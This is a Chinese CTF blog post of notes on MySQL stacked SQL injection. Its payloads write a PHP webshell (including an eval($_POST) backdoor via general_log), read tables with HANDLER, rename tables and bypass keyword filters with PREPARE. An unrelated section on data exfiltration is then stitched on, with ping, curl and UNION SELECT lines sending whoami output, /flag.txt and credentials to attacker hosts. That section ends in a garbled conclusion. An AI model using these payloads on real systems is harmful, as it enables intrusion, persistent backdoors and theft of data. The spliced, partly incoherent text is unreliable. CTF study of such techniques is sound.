CTF——sql注入之堆叠注入整理

本文详细介绍了SQL堆叠注入的概念,包括如何利用分号;执行多条恶意语句,以及常见的解题思路,如使用RENAME、ALTER TABLE等。还提到了预处理语句作为绕过过滤的方法,并提供了具体的payload示例。此外,讨论了在无法使用SELECT时,如何借助HANDLER语句来获取数据。最后,强调了防御堆叠注入的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

堆叠注入

介绍

MySQL可以执行多条语句,多条语句之前用;做分隔。 简单的说,由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法 执行其他恶意语句,如RENAME、DROP等,堆叠注入可以用于执行任何SQL语句

注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返 回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用RENAME关键 字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名

常见解题思路

常规查询

直接用查询语句查,不过这种题基本上不会出的。一般堆叠注入都会过滤很多的关键词。

写后门
#payload1
select "<?php phpinfo();?>" into outfile "/tmp/1.php";
#payload2
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";
#payload3(secure_file_pric为NULL无法写入文件时用)
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '<?php eval($_POST['a']) ?>';

过滤select时的解法

/*
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一
行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是
mysql专用的语句,并没有包含到SQL标准中
*/
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

改变表名使得直接显示flag

RENAME TABLE `words` TO `words2`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET 
utf8 COLLATE utf8_general_ci NOT NULL;#

Mysql预处理

预处理有个好处,那就是可以把一些关键词通过concat给预处理来进行绕过。

PREPARE st from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE st;#
### CTF竞赛中的数据外带技术 #### 数据外带的概念 在CTF竞赛中,数据外带是指攻击者通过某种方式将目标服务器上的敏感信息传递到外部可控环境的过程。这种技术通常用于无回显漏洞场景下获取执行结果或验证命令是否成功运行。 --- #### 常见的数据外带技术和方法 1. **DNSLog工具** DNSLog是一种基于域名解析的日志记录工具,常用于捕获远程主机发起的DNS查询请求。它适用于无回显场景下的命令执行验证。当攻击者构造特定的payload时,可以通过触发DNS查询来实现数据外带[^4]。 2. **重定向与文件写入** 利用`>`、`>>`以及`tee`等Linux命令,可以将命令执行的结果保存至指定路径或将流量重定向到外部地址。例如,在某些RCE(Remote Code Execution)题目中,可通过以下方式完成数据外带: ```bash ping `whoami`.attacker.com ``` 上述命令会将当前用户名作为子域发送给`attacker.com`,从而达到泄露目的[^2]。 3. **CURL命令** 使用`curl`可以直接向外部接口发送GET/POST请求并携带参数。这种方法适合于需要传输较大规模数据的情况。例如: ```bash curl http://yourserver.com/data?result=$(cat /flag.txt) ``` 这里读取了`/flag.txt`的内容并通过HTTP GET请求将其上传到了自己的服务器上[^1]。 4. **SQL注入中的UNION SELECT联合查询** 对于存在SQL注入漏洞的应用程序来说,“堆叠查询”或者“联合查询”的技巧也可以用来实施数据外带操作。比如下面这个例子展示了如何把数据库表内的字段值拼接到URL后面形成新的链接指向攻击者的站点: ```sql UNION ALL SELECT null,null,'http://evil-site/'||username||'-'||password FROM users-- ``` 5. **其他协议利用** 除了上述提到的方式之外,还可以考虑FTP、SMTP等多种通信手段来进行信息转移;只要能够控制输入源就有可能找到合适的载体完成整个过程。 --- ### 实际案例分析 以NSSCTF为例说明具体应用情形:参赛选手需解决一道涉及命令注入的问题,其中给出了提示允许使用重定向机制解决问题。此时可以根据实际情况选用恰当的方法组合达成最终目标——即成功提取所需资料的同时规避检测风险[^3]。 --- ### 总结 综上所述,在参加CTF比赛期间遇到有关数据泄密类挑战项目时,应充分掌握各类基础技能包括但不限于编程语言特性理解程度高低不平等等因素影响效果表现差异明显所以要灵活运用各种资源寻找突破口进而顺利通关赢得胜利!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值